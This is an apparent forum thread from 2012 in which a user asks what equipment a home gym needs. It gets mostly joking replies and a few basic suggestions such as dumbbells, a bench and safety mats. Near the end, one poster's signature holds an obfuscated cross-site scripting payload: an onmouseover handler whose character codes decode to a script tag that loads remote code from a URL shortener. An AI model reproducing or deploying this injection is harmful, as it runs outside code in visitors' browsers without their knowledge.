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BiLLaBonG_90
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Thread created on Sun Dec 30, 2012 18:27:02
Last replied to on Mon Dec 31, 2012 00:37:09
i want to start making a home gym and not to sure on what equipemnt i need to get
could someone help e out

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Alpha_Male

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Posted on Sun Dec 30, 2012 18:31:59
this belongs in Non related forums

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BiLLaBonG_90
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Posted on Sun Dec 30, 2012 18:33:01
seriously guy need someone help

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Chironex

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Posted on Sun Dec 30, 2012 18:33:43
aye, it does. but get basic equipment to start with... then get more specialized equipment.

Collecting all kitten plushies! Buying 100 for $25,000! Mail your friends and colleagues! (or if you want, you can send me them out of pure kindness and generosity)

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BiLLaBonG_90
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Posted on Sun Dec 30, 2012 18:35:17
like what ive never done weight lifting before so

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HRsMuffin

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Posted on Sun Dec 30, 2012 18:35:33
Dumbells, barbells and a bench
Get some safety mats too

Bazaar income: $202,097,651



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BiLLaBonG_90
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Posted on Sun Dec 30, 2012 18:38:12
can anyone give me some info on weight lifting

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Dutch

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Posted on Sun Dec 30, 2012 18:46:18
google is your best friend.

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Charlie

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Posted on Sun Dec 30, 2012 18:48:58
By Dutch [471188]
google is your only friend.


FTFY

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Aramis

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Posted on Sun Dec 30, 2012 18:56:10
Sexy instructors.

Check out my Bazaar !
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GrkManga49

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Posted on Sun Dec 30, 2012 20:40:18
By BiLLaBonG_90 [568573]
can anyone give me some info on weight lifting


Find weight
Pick up weight
drop weight

Repeat.

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1175492
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Posted on Sun Dec 30, 2012 20:50:29
By BiLLaBonG_90 [568573]
i want to start making a home gym and not to sure on what equipemnt i need to get
could someone help e out


If you dont know what to get Id advise not training at all.



Concern should drive us into action and not into depression
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-FAB-
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Posted on Sun Dec 30, 2012 21:17:56
Depends on what you want your home gym for?
What kind of training?

Because I seriously think you have not got the space or money to afford the equipment that will be necessary to train with. Although like I said depends on what and how you want to 'workout'.

Edit: Rated +


Last Edited: Sun Dec 30, 2012 21:18:30
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Silent-Rage

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Posted on Sun Dec 30, 2012 22:40:32
By GrkManga49 [10856]
By BiLLaBonG_90 [568573]
can anyone give me some info on weight lifting


Find weight
Pick up weight
drop weight

Repeat.


Disclaimer: Do not drop weight if performing a bench press. This will lead to face failure.

Also applies to overhead press. Although in that case, your face will remain largely unaffected.

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Spurtung

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Posted on Sun Dec 30, 2012 22:49:59
By BiLLaBonG_90 [568573]
i want to start making a home gym and not to sure on what equipemnt i need to get
could someone help e out


you need to find a gym/fashion/bullshit guru. luckily we got ED who thinks he is 2 of those but is just the other.

avoid at all costs his ramblings that he may refer to as advise.

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0__o

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Posted on Mon Dec 31, 2012 00:17:09
a poster of chuck norris to motivate you..



0.o[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profil
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Bueno_Excelente

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Posted on Mon Dec 31, 2012 00:30:11

By GrkManga49 [10856]
By BiLLaBonG_90 [568573]
can anyone give me some info on weight lifting


Find weight
Pick up weight
drop weight

Repeat.


Be certain to shower afterwards.



Proper hygiene is important.



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1175492
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Posted on Mon Dec 31, 2012 00:37:09
By Bueno_Excelente [34014]

By GrkManga49 [10856]
By BiLLaBonG_90 [568573]
can anyone give me some info on weight lifting


Find weight
Pick up weight
drop weight

Repeat.


Be certain to shower afterwards.



Proper hygiene is important.



lmao X2




Concern should drive us into action and not into depression
Forum Main>>Non related>> gym equipment
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